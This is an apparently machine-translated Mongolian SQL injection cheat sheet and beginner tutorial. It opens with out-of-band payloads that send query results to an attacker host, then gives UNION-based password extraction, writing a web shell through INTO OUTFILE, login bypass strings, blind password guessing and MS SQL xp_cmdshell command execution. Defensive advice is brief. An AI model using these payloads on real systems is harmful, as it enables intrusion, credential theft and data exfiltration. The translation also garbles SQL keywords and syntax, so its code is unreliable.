(INJECTION).yourhost.com руу DNS асуулга үүсгэдэг

(ТАРИЛГА) - таны хүсэлт.
MySQL:
?vulnerableParam=-99 ЭСВЭЛ (СОНГОХ LOAD_FILE(concat("\\\\",((INJECTION)), "yourhost.com\\")))
yourhost.com руу NBNS/DNS хүсэлт үүсгэнэ
?vulnerableParam=-99 ЭСВЭЛ (((INJECTION)) INTO OUTFILE "\\\\yourhost.com\\share\\output.txt")
Таны файлд өгөгдөл бичнэ
(ТАРИЛГА) - таны хүсэлт.
Oracle:
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/sniff.php?sniff="||((INJECTION))||"") DUAL-аас)
Үнэрлэгч үр дүнг хадгалах болно
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ "||((INJECTION))||".html") FROM DUAL)
Үр дүн нь HTTP бүртгэлд хадгалагдах болно
?vulnerableParam=(DUAL-аас UTL_INADDR.get_host_addr(((INJECTION))||".yourhost.com"-ыг сонго)

?vulnerableParam=( SYS.DBMS_LDAP.INIT(((INJECTION))||’.yourhost.com’,80) DUAL-аас СОНГОХ)
Та yourhost.com руу DNS хүсэлтийн урсгалыг шинжлэх хэрэгтэй
(ТАРИЛГА) - таны хүсэлт.

Энэ материал нь SQL Injection Cheat Sheet нийтлэлийн дасан зохицох орчуулга юм.

Сайн байцгаана уу, уншигч. Сүүлийн үед би вэбийн аюулгүй байдлыг сонирхож байгаа бөгөөд зарим талаар миний ажил үүнтэй холбоотой. Учир нь Би янз бүрийн форум дээр энэ бүхэн хэрхэн ажилладагийг харуулахыг хүссэн сэдвүүдийг анзаарч эхэлсэн тул нийтлэл бичихээр шийдсэн. Энэ нийтлэл нь ийм зүйлтэй тулгараагүй боловч суралцахыг хүсч буй хүмүүст зориулагдсан болно. Интернет дээр энэ сэдвээр харьцангуй олон нийтлэл байдаг, гэхдээ эхлэгчдэд энэ нь бага зэрэг төвөгтэй байдаг. Би бүх зүйлийг ойлгомжтой хэлээр, дэлгэрэнгүй жишээгээр тайлбарлахыг хичээх болно.

Удиртгал

Энэ нийтлэлийг ойлгохын тулд танд SQL хэлний мэдлэг хэрэггүй, гэхдээ ядаж л сайн тэвчээр, цээжлэх бага зэрэг тархи хэрэгтэй.

Зөвхөн нийтлэлийг уншихад хангалтгүй байх болно гэдэгт би итгэж байна, учир нь ... бидэнд амьд жишээ хэрэгтэй - та бүхний мэдэж байгаагаар цээжлэх явцад дадлага хийх нь хэзээ ч илүүдэхгүй. Тиймээс бид эмзэг скрипт бичиж, тэдгээрт сургах болно.

SQL тарилга гэж юу вэ?
Энгийнээр хэлбэл, энэ бол өгөгдлийн сан руу халдлага бөгөөд скриптийг бүтээгчийн төлөвлөөгүй зарим үйлдлийг гүйцэтгэх боломжийг танд олгоно. Амьдралаас жишээ:

Аав ээждээ Васяд 100 рубль өг гэж бичээд ширээн дээр тавив. Үүнийг комик SQL хэл болгон дахин боловсруулснаар бид дараахь зүйлийг олж авна.
ТҮРИЙВЧЭЭСЭЭ 100 РУБЛЬ АВЧ, Васяд өг

Аав нь тэмдэглэлийг муу бичээд (болхи гар бичмэл) ширээн дээр үлдээсэн тул Васягийн ах Петя үүнийг харав. Петя хакер байсан тул тэнд "OR Pete" гэж нэмсэн бөгөөд үр дүн нь дараах хүсэлт байв.
ТҮРИЙВЧЭЭСЭЭ 100 РУБЛЬ АВЧ, Вася эсвэл Петя хоёрт өг

Ээж нь тэмдэглэлийг уншаад өчигдөр Васяд мөнгө өгч, Петяд 100 рубль өгөв. Амьдралаас авсан SQL тарилгын энгийн жишээг энд үзүүлэв:) Өгөгдлийг шүүлгүйгээр (ээж гар бичмэлийг нь арай гэж ойлгохгүй) Петя ашиг олжээ.

Бэлтгэл
Дадлага хийхийн тулд танд энэ нийтлэлийн эх скрипт бүхий архив хэрэгтэй болно. Татаж аваад сервер дээр задална уу. Мөн өгөгдлийн санг импортлох ба файл дахь өгөгдлийг тохируулах cfg.php

SQL тарилга хайх

Та аль хэдийн ойлгосноор тарилга нь шүүгдээгүй ирж ​​буй мэдээллээс ирдэг. Хамгийн нийтлэг алдаа бол дамжуулсан ID-г шүүхгүй байх явдал юм. За, барагцаагаар хэлбэл, бүх талбарт ишлэл тавь. Энэ нь GET/POST хүсэлт эсвэл бүр күүки байж болно!

Тоон оролтын параметр
Дадлага хийхийн тулд бидэнд скрипт хэрэгтэй index1.php. Дээр хэлсэнчлэн бид мэдээний ID-д ишлэл оруулдаг.

Учир нь Манай хүсэлтэд шүүлтүүр байхгүй:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

Скрипт нь үүнийг ойлгох болно

id=1" гэсэн мэдээнээс * СОНГОХ

Мөн энэ нь бидэнд алдаа өгөх болно:
Анхааруулга: mysql_fetch_array() нь 16-р мөрөнд C:\WebServ\domains\sqlinj\index1.php-д өгөгдсөн логикийн хувьд 1-р параметрийг нөөц гэж тооцдог.

Хэрэв алдаа гарч ирэхгүй бол дараах шалтгаанууд байж болно.

1.SQL тарилга энд байхгүй - ишлэлийг шүүсэн эсвэл зүгээр л хөрвүүлэх нь зүйтэй (int)
2. Алдааны гаралтыг идэвхгүй болгосон.

Хэрэв танд алдаа гарсаар байвал - Хуррай! Бид эхний төрлийн SQL тарилгыг олсон - Тоон оролтын параметр.

Мөр оруулах параметр

Бид хаяг руу хүсэлт илгээх болно index2.php. Энэ файлд хүсэлт дараах байдлаар харагдаж байна.
$хэрэглэгч = $_GET["хэрэглэгч"]; $query = "SELECT * FROM news WHERE user="$user"";

Энд бид мэдээг хэрэглэгчийн нэрээр сонгоод дахин шүүдэггүй.
Бид үнийн санал бүхий хүсэлтийг дахин илгээж байна:

Энэ нь алдаа өгсөн. БОЛЖ БАЙНА УУ! Энэ нь сул тал байгаа гэсэн үг. Эхлэхийн тулд энэ нь бидэнд хангалттай - бэлтгэлдээ орцгооё.

Арга хэмжээ авцгаая

Бага зэрэг онол

Та алдаанаас өөр ямар нэг зүйл гарахыг тэсэн ядан хүлээж байгаа байх. Эхлээд " тэмдэг гэдгийг ойлгоорой. -- " нь SQL-д тайлбар гэж тооцогддог.

АНХААР! Үүний өмнө болон хойно зай байх ёстой. URL-д тэдгээрийг дамжуулдаг %20

Сэтгэгдлийн дараа ирсэн бүх зүйлийг устгах болно. Өөрөөр хэлбэл, хүсэлт:
ХААНА МЭДЭЭГЭЭС СОНГОХ хэрэглэгч="AlexanderPHP" -- habrahabra

Энэ нь амжилтанд хүрэх болно. Та үүнийг index2.php скрипт дээр дараах хүсэлтийг илгээж оролдож болно:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Параметрийг сур НЭГДСЭН. SQL хэл дээр түлхүүр үг НЭГДСЭНХоёр SQL асуулгын үр дүнг нэг хүснэгтэд нэгтгэхэд ашигладаг. Өөрөөр хэлбэл, өөр ширээнээс бидэнд хэрэгтэй зүйлийг гаргаж авахын тулд.

Үүний давуу талыг ашиглацгаая

Хэрэв параметр нь "Тоон" бол бид хүсэлтэд үнийн санал илгээх шаардлагагүй бөгөөд төгсгөлд нь мэдээжийн хэрэг тайлбар оруулах шаардлагагүй болно. Скрипт рүү буцаж орцгооё index1.php.

sqlinj/index1.php?id=1 UNION SELECT 1 скрипт рүү шилжье. Манай мэдээллийн сангийн асуулга дараах байдалтай байна.
СОНГОХ * мэдээнээс ХААНА id=1 UNION SELECT 1
Тэгээд тэр бидэнд алдаа өгсөн, учир нь... нэгтгэх асуулгатай ажиллахын тулд бидэнд ижил тооны талбар хэрэгтэй.

Учир нь Эхний хүсэлтэд бид тэдний дугаарт нөлөөлж чадахгүй, дараа нь эхнийхтэй тэнцүү байхын тулд хоёр дахь дугаарыг нь сонгох хэрэгтэй.

Талбайн тоог сонгох

Талбаруудыг сонгох нь маш энгийн бөгөөд дараах хүсэлтийг илгээхэд хангалттай.
sqlinj/index1.php?id=1 UNION SELECT 1,2
Алдаа…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Дахин алдаа гарлаа!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Алдаа байхгүй! Энэ нь баганын тоо 5 гэсэн үг юм.

GROUP BY
Ихэнхдээ 20, 40, бүр 60 талбар байж болно. Тиймээс бид тэдгээрийг байнга ангилах шаардлагагүй болно. GROUP BY

Хэрэв хүсэлт гаргавал
sqlinj/index1.php?id=1 2-р бүлэг
ямар ч алдаа харуулаагүй бөгөөд энэ нь талбарын тоо 2-оос их байна гэсэн үг. Оролдоод үзье:

Sqlinj/index1.php?id=1 БҮЛЭГ 8
Оп, бид алдаа харж байна, энэ нь талбарын тоо 8-аас бага байна гэсэн үг.

Хэрэв GROUP BY 4-д алдаа байхгүй бол GROUP BY 6-д алдаа гарвал талбарын тоо 5 байна.

Гаралтын баганыг тодорхойлох
Эхний хүсэлтээс бидэнд юу ч харагдахгүй байхын тулд байхгүй ID-г орлуулахад хангалттай, жишээлбэл:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5


Энэ үйлдлээр бид хуудсан дээр аль баганыг харуулахыг тодорхойлсон. Одоо эдгээр дугаарыг шаардлагатай мэдээллээр солихын тулд та хүсэлтийг үргэлжлүүлэх хэрэгтэй.

Өгөгдлийн гаралт

Хүснэгт хэвээр байгаа гэдгийг бид мэднэ гэж бодъё хэрэглэгчидталбарууд байдаг ID, нэрТэгээд нэвтрүүлэх.
Бид ID=1-тэй хэрэглэгчийн талаарх мэдээллийг авах шаардлагатай

Тиймээс, дараах асуулгыг бүтээцгээе.

Sqlinj/index1.php?id=-1 UNION СОНГОХ 1,2,3,4,5 Хэрэглэгчээс ХААНА id=1
Скрипт нь мөн гарсаар байна

Үүнийг хийхийн тулд бид 1 ба 3-ын тоонуудын оронд талбаруудын нэрийг орлуулна.

Sqlinj/index1.php?id=-1 UNION SELECT нэр,2,pas,4,5 Хэрэглэгчээс ХААНА id=1
Бид хэрэгтэй зүйлээ авсан!

Скрипт дээрх шиг "мөр оруулах параметр"-ийн хувьд index2.phpта эхэнд нь хашилт, төгсгөлд нь тайлбар нэмэх хэрэгтэй. Жишээ:
sqlinj/index2.php?user=-1" UNION SELECT нэр,2,pas,4,5 Хэрэглэгчээс ХААНА id=1 --%20

Файл унших/бичих

Файл унших, бичихийн тулд мэдээллийн сангийн хэрэглэгч FILE_PRIV эрхтэй байх ёстой.
Файл бичиж байна
Үнэндээ бүх зүйл маш энгийн. Файл бичихийн тулд бид функцийг ашиглана OUTFILE.
sqlinj/index2.php?user=-1" UNION СОНГОХ 1,2,3,4,5-г OUTFILE "1.php" --%20
Гайхалтай, файл манайд бүртгэгдсэн байна. Тиймээс бид мини бүрхүүлийг дүүргэж болно:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
Файлуудыг уншиж байна
Файлуудыг унших нь бичихээс ч хялбар байдаг. Энэ функцийг ашиглахад л хангалттай LOAD_FILE, бидний сонгосон талбайн газрын хувьд:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Тиймээс бид өмнөх бичсэн файлыг уншсан.

Хамгаалах аргууд

Өөрийгөө хамгаалах нь эмзэг байдлыг ашиглахаас ч хялбар байдаг. Зөвхөн өгөгдлийг шүүнэ үү. Хэрэв та дугаар дамжуулж байгаа бол ашиглана уу
$id = (int) $_GET["id"];
Хэрэглэгч malroc санал болгосноор. PDO эсвэл бэлтгэсэн мэдэгдлийг ашиглан өөрийгөө хамгаалаарай.

Бүрэн дуусгахын оронд

Энд би "Эхлэн суралцагчдад зориулсан SQL injection"-ийн тухай эхний хэсгийг дуусгахыг хүсч байна. Хоёрдугаарт бид тарилгын илүү хүнд жишээг авч үзэх болно. Эмзэг скрипт бичиж, асуулгыг өөрөө хийж үзээрэй.
Мөн сайтынхаа хэрэглэгчдэд бүү итгэ.

Шошго: шошго нэмэх

SQL тарилгахакерын хувьд маш сайн боломж
серверт хандах. Тэгээд бага зэрэг хүчин чармайлт гаргавал тэр
одоо ч гэсэн ойлгодог :)

Дотор нь кодлогч

Өнөө үед мэдээллийн сантай ажиллахыг дэмждэг
Бараг бүх програмчлалын хэл, үүнд BASIC, C++, Java, PERL, PHP, Assembler, тэр ч байтугай JavaScript орно! Мөн эдгээр программуудыг DBMS буюу өгөгдлийн сангийн удирдлагын систем гэж нэрлэдэг. Мэдээллийн санг ихэвчлэн санхүүгийн асуудлыг шийдвэрлэхэд ашигладаг.
нягтлан бодох бүртгэл, боловсон хүчний зохион байгуулалт, гэхдээ тэд мөн Интернэтээс өөрсдийн програмыг олсон.

Өгөгдлийн санг ихэвчлэн WEB программ бичихэд ашигладаг. Тэдгээрийн хэрэглээ нь хэрэглэгчийн бүртгэлийн өгөгдөл, сесс танигч, хайлтыг зохион байгуулах, түүнчлэн илүү их боловсруулалт шаарддаг бусад ажлуудыг хийхэд хамгийн тохиромжтой.
өгөгдлийн хэмжээ. Өгөгдлийн санд нэвтрэхийн тулд серверийн технологийг ашигладаг: PHP, PERL, ASP гэх мэт. Эндээс л зугаа цэнгэл эхэлдэг. Сервер дээр байх үед
бүх засваруудыг суулгасан бөгөөд галт хана нь 80-р портоос бусад бүх портыг блоклодог эсвэл зарим өгөгдөлд нэвтрэхийн тулд баталгаажуулалт шаардлагатай үед хакер SQL Injection ашиглан хакердах боломжтой. Энэхүү халдлагын мөн чанар нь WEB технологи болон SQL-ийн уулзвар дээрх алдааг ашиглах явдал юм. Баримт нь хэрэглэгчийн мэдээллийг боловсруулах олон вэб хуудас нь тусгай хэлбэрийг бүрдүүлдэг SQLмэдээллийн сангийн хүсэлт. Энэ техникийг хайхрамжгүй ашиглах нь нэлээд сонирхолтой үр дүнд хүргэдэг ...

SQL тарилга

Энэхүү халдлагыг тайлбарлахын тулд та маш чухал хэрэгсэл татаж авахаар сайт руу орж, зөвхөн бүртгэлтэй хэрэглэгч л үүнийг хийж чадна, бүртгэл нь мэдээжийн хэрэг мөнгө шаарддаг гэдгийг аймшигтайгаар анзаарсан гэж төсөөлөөд үз дээ 🙂 Та мөнгөө бусдад өгөхийг хүсэхгүй байна. хамгийн сүүлд олсон мөнгө, гэхдээ та хөтөлбөргүйгээр үүнийг хийж чадахгүй! Хэрхэн гэдгийг санах цаг болжээ
мэдээллийн санд хандах SQL. Жишээлбэл, PHP дээр нэвтрэх болон нууц үгээ шалгах нь дараах байдалтай байж болно.

$result=mysql_db_query($db,"СОНГОХ * FROM $хүснэгт ХААНА хэрэглэгч="$нэвтрэх" БОЛОН
нэвтрүүлэх = "$ нууц үг"");
$тоо_мөр=mysql_тоо_мөр($үр дүн);
mysql_close($link);
хэрэв ($тоо_мөр!=0)
{
// БАТАЛГАА ОК
}
өөр
{
// БАТАЛГААНЫ АЛДАА
}

Би "AUTENTICATION OK" гэсэн хоёр тайлбар нэмсэн - Би үүнийг солих ёстой
нууц үг болон нэвтрэх зөв бол гүйцэтгэх код руу очно уу. Өөр нэг "Баталгаажуулалтын алдаа" нь буруу бол гүйцэтгэх кодыг тайлбарлах газар юм. Хэрэв та маягтыг бөглөвөл хүсэлт нь “http://www.server.com?login=user&password=31337” шиг харагдах бөгөөд www.server.com нь нэр юм.
бидний холбогдохыг оролдож буй сервер. Бид хайж байсан зүйлээ олсон тул бид дахин ажилдаа эргэн орох болно SQL. Тиймээс, хэрэв та зөвшөөрөл авахын тулд нэвтрэх болон нууц үгээ зааж өгөх шаардлагатай бол үүсгэсэн болно SQLхүсэлт дараах байдлаар харагдах болно.

login="user" БОЛОН Хэрэглэгчээс * СОНГОХ
нууц үг = "31337"

Энэ нь үүнтэй төстэй зүйл гэсэн үг юм: "хэрэглэгч" болон нууц үг нь "31337" гэсэн хэрэглэгчийн мэдээллийн сангаас бүх бүртгэлийг надад буцааж өгнө үү. Хэрэв ийм бүртгэл байгаа бол хэрэглэгч бүртгүүлсэн, гэхдээ байхгүй бол үгүй ​​... Гэхдээ тодорхой нөхцөлд бүх зүйлийг засч залруулж болно. Энэ нь програм нь дамжуулагдсан өгөгдлийн агуулгыг шалгаагүй эсвэл байгаа эсэхийг бүрэн шалгаагүй нөхцөл байдлыг хэлнэ. SQLзааварчилгаа. Энэ жишээнд нэвтрэх болон нууц үг гэсэн хоёр талбарыг шалгасан боловч хэрэв та нууц үгээ “31337′ AND email=” гэж зааж өгсөн бол [имэйлээр хамгаалагдсан]”(давхар хашилтгүй) дараа нь асуулга арай өөр болно:

login="user" ба нууц үг="31337" БОЛОН Хэрэглэгчээс * СОНГОХ
имэйл = [имэйлээр хамгаалагдсан]"

Хэрэв имэйлийн талбар байгаа бол энэ нөхцөлийг мөн шалгах болно. Хэрэв та Булийн алгебрын үндсийг санаж байвал "ба" үйлдлээс гадна "эсвэл" гэсэн үйлдэл байдаг бөгөөд тэдгээрийн хэрэглээ SQL-ээр дэмжигддэг тул та үүнийг хийх боломжтой.
тайлбарласан арга замаар үргэлж үнэнийг буцаадаг нөхцөлийг нэмнэ. Үүнийг хийхийн тулд та "хэрэглэгч" ЭСВЭЛ 1=1—" гэж нэвтрэлт болгон зааж өгөх ёстой бөгөөд энэ тохиолдолд хүсэлт дараах хэлбэртэй болно.

Хэрэглэгчээс * ХААНА login = "хэрэглэгч" ЭСВЭЛ 1=1--" БА ГЭДГИЙГ СОНГОХ
нууц үг = "31337"

Эхлээд та "-" гэдэг нь хүсэлтийн төгсгөл, "-"-ээс хойшхи бүх зүйл гэдгийг мэдэх хэрэгтэй.
боловсруулагдахгүй! Энэ нь бид хүсэлт гаргасан байна:

Хэрэглэгчээс * ХААНА login="user" ЭСВЭЛ 1=1-ийг СОНГОХ

Таны харж байгаагаар бид "1=1" гэсэн нөхцөлийг нэмсэн бөгөөд энэ нь баталгаажуулах шалгуур нь "хэрэв нэвтрэлт "хэрэглэгч" эсвэл 1=1 бол" гэсэн үг боловч 1 нь үргэлж 1-тэй тэнцүү байна (Ганц үл хамаарах зүйл нь Дани Шеповаловын арифметик байж болно). :)). Бидний сэжиглэлийг шалгахын тулд
Хаягийн мөрөнд “http://www.server.com?login=user эсвэл 1=1—&password=31337” гэж оруулна уу. Энэ нь бидний зааж өгсөн нэвтрэх нь хамаагүй, гэхдээ энэ нь хүргэж байна
ялангуяа нууц үг! Мөн бид матрицад байна ... өө, системд байгаа бөгөөд бидэнд хэрэгтэй зүйлээ тайван татаж авах боломжтой.

Гэхдээ энэ бүхэн онолын хувьд. Практикт бид хүсэлтийг хэрхэн бүрдүүлж, ямар өгөгдөл, ямар дарааллаар дамжуулж байгааг мэдэхгүй байна. Тиймээс бүх талбарт “хэрэглэгч’ OR 1=1—” гэж зааж өгөх шаардлагатай. Та мөн далд талбаруудыг илгээх маягтыг шалгах хэрэгтэй. HTML дээр тэдгээрийг "гэж тодорхойлсон байдаг. " Хэрэв байгаа бол хуудсыг хадгалж, эдгээр талбаруудын утгыг өөрчилнө үү. Тэдгээрт агуулагдах утгууд нь SQL мэдэгдлүүд байгаа эсэхийг шалгахаа мартдаг. Гэхдээ бүх зүйл ажиллахын тулд та "ACTION" параметрийн хувьд энэ хүсэлтийг маягтаар ("FORM" шошго) боловсруулдаг скриптийн бүрэн замыг зааж өгөх хэрэгтэй.

Гэхдээ хүсэлт хэрхэн үүссэн нь үргэлж мэдэгддэггүй.
Өмнөх жишээг дараах байдлаар үүсгэж болно.

* ХААНААС хэрэглэгчдийг сонгох (нэвтрэх = "хэрэглэгч" ба нууц үг = "31337")
Нэвтрэх = "хэрэглэгч" ба нууц үг = = "31337" ХААНААС хэрэглэгчдээс * СОНГОХ
Нэвтрэх=хэрэглэгч ба нууц үг=31337 ГЭДЭГ Хэрэглэгчээс * СОНГОХ

Энэ тохиолдолд та дараах сонголтыг туршиж үзэж болно.

‘ЭСВЭЛ 1=1—
» ЭСВЭЛ 1=1—
ЭСВЭЛ 1=1—
‘ ЭСВЭЛ ‘a’=’a
"ЭСВЭЛ "a"="a
‘) OR (‘a’=’a
ЭСВЭЛ '1'='1'

Энэ бүхэн скриптийн зорилго болон програмистаас хамаарна. Хүн бүр бүх зүйлийг өөрийнхөөрөө хийх хандлагатай байдаг тул програмист хамгийн хялбар сонголтыг сонгохгүй байх магадлалтай. Тиймээс та нэн даруй хийх ёсгүй
татгалзсан бол бууж өг. Шаардлагатай
аль болох олон сонголтыг туршиж үзээрэй ...

Нууц үг илрүүлэх

Зөвшөөрлийг алгасах нь тийм ч муу зүйл биш, гэхдээ ихэвчлэн таны ашиглаж буй нүх хаагдаж, танд боломжтой байсан бүх зүйл алга болдог.
Хэрэв програмист тэнэг биш бол үүнийг хүлээх хэрэгтэй
Цаг хугацаа өнгөрөхөд энэ нь бүх цоорхойг хаах болно. Ийм нөхцөл байдлаас урьдчилан сэргийлж чадвал амархан салж чадна. Зөв шийдэл нь нууц үгээ ашиглан таамаглах явдал юм
баталгаажуулалтын үр дүнд дүн шинжилгээ хийх. Эхлээд нууц үгээ таахыг хичээцгээе, үүнийг хийхийн тулд байршлыг нь оруулна уу:

‘ЭСВЭЛ нууц үг>’a

Хэрэв бидэнд зөвшөөрөл олгосон гэж хэлвэл нууц үг
"a" үсгээр эхэлдэггүй, харин жагсаалтад байгаа дараах зүйлсийн аль нэгээр нь эхэлдэг. Үргэлжлүүлэн орлъё
"a", дараагийн "b", "c", "d", "e"... гэх мэтийг байрлуул. нууц үг буруу байна гэж хэлэх хүртэл. Энэ процессыг "x" тэмдэг дээр зогсооно, энэ тохиолдолд нөхцөл байдлыг хөгжүүлэх хоёр сонголт бий болно: нууц үг олдох эсвэл нууц үг энэ тэмдэгээр эхэлнэ. Эхний сонголтыг шалгахын тулд нууц үгийн байршлыг бичнэ үү:

‘OR нууц үг=’x

Хэрэв нууц үг зөвшөөрч, таныг нэвтрэхийг зөвшөөрсөн бол та нууц үгээ таасан байна! За, үгүй, тэгвэл та хоёр дахь дүрийг сонгох хэрэгтэй,
яг адилхан, эхнээсээ. Хоёр тэмдэгт байгаа эсэхийг шалгана уу
адилхан хэрэгтэй. Төгсгөлд нь та нууц үг хүлээн авах бөгөөд та ижил аргаар нэвтрэхийг хайх болно :)
Хэрэв олсон нууц үг, нэвтрэх нэр танд тохирохгүй бол та бусдыг олох боломжтой. Үүнийг хийхийн тулд та олсон нууц үгийн сүүлчийн тэмдэгтээс шалгаж эхлэх хэрэгтэй. Тиймээс, хэрэв нууц үг нь "xxx" байсан бол нууц үг байгаа эсэхийг шалгах шаардлагатай
"xxxy":

‘ЭСВЭЛ нууц үг=’xxx

нэгээс олон сонголтыг алдахгүйн тулд!

MS SQL сервер

Шаардлагатай шүүлтүүрийг орхигдуулсан тохиолдолд MS SQL Server нь ерөнхийдөө бурхны хишиг юм. SQL Injection-ийн эмзэг байдлыг ашигласнаар та ажиллуулж болно
exec master..xp_cmdshell ашиглан алсын сервер дээрх командууд. Гэхдээ энэ загварыг ашиглахын тулд
SELECT үйлдлийг гүйцэтгэх ёстой. SQL-д мэдэгдлүүд нь цэг таслалаар тусгаарлагддаг. Тиймээс, Telnet-ээр дамжуулан зарим IP-д холбогдохын тулд нууц үг/нэвтрэх байршлыг оруулах шаардлагатай:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

MS SQL Server нь мэдээллийн санд хадгалагдсан нэвтрэлт болон нууц үгийг олж мэдэх боломжийг олгодог хэд хэдэн сонирхолтой функцуудтай. Үүнийг хийхийн тулд алдааны гаралтыг дурын сервер болон тэдгээрээр дамжуулан дахин чиглүүлдэг
дүн шинжилгээ хийснээр та хүснэгтийн нэр, талбар, тэдгээрийн төрлийг олж мэдэх боломжтой. Үүний дараа та хүсэлт гаргаж болно

‘UNION SELECT TOP 1 login FROM Хэрэглэгчид—

(нэвтрэх нь нэвтрэх мэдээллийг агуулсан талбарын нэр, хэрэглэгчид нь хүснэгтийн нэр,
алдааны шинжилгээний явцад хагас эрдэмтэд).

Хариулт нь:


"admin.) nvarchar утгыг хөрвүүлэх синтакс алдаа гарлаа" to a column of data type int. !}
/default.asp, мөр 27

Одоо бид "админ" нэртэй хэрэглэгч байгааг мэдэж байна. Одоо бид түүний нууц үгийг авч болно:

‘UNION SELECT TOP 1 нууц үг нэвтэрсэн хэрэглэгчидээс ‘admin’—

Үр дүн:

ODBC драйверуудад зориулсан Microsoft OLE DB үйлчилгээ үзүүлэгчийн алдаа "80040e07"
"xxx.) nvarchar утгыг хөрвүүлэх синтакс алдаа гарлаа" to a column of data type int. !}
/tedault.asp, мөр 27

Одоо бид "ххх" нууц үгтэй "админ" хэрэглэгч байгааг мэдэж байна. Үүний тусламжтайгаар та аюулгүйгээр хийж чадна
үүнийг ашиглаад системд нэвтэрнэ үү 😉

Гэхдээ SQL-тэй ажиллах өөр олон функцууд байдаг.
Өгөгдлийн сантай ажиллахдаа та өгөгдлийг устгах, өөрчлөх, өөрөө оруулах, тэр ч байтугай файлуудыг удирдах, бүртгэлтэй ажиллах боломжтой.
Ерөнхийдөө SQL серверийн дүрмүүд :)

Хамгаалалт

Гэхдээ мэдээжийн хэрэг энэ бүхнээс зайлсхийх боломжтой. Үүнийг хийхийн тулд та чадна
шүүлтүүр ашиглах,
үйлдвэрлэгчдээс хангадаг. Та өөрийн шийдлийг олох боломжтой, жишээлбэл, бүгдийг нь солих
давхар хашилт (хэрэв SQLхүсэлтийг бид дангаар нь ашиглах), эсвэл эсрэгээр. Хэрэв та оруулах шаардлагатай бол зөвхөн үсэг болон s@baki ашиглахыг зөвшөөрөх боломжтой
имэйл хаяг. Мөн сувдан дотор гайхалтай зүйл байдаг
DBI::DBD модулийн 🙂 quote() функц нь таны асуулгад аюулгүй байдлыг хангадаг. SQL. Олон шийдэл байдаг, танд хэрэгтэй
давуу талыг ашиглах. Тэгэхгүй бол яагаад энэ бүхэн...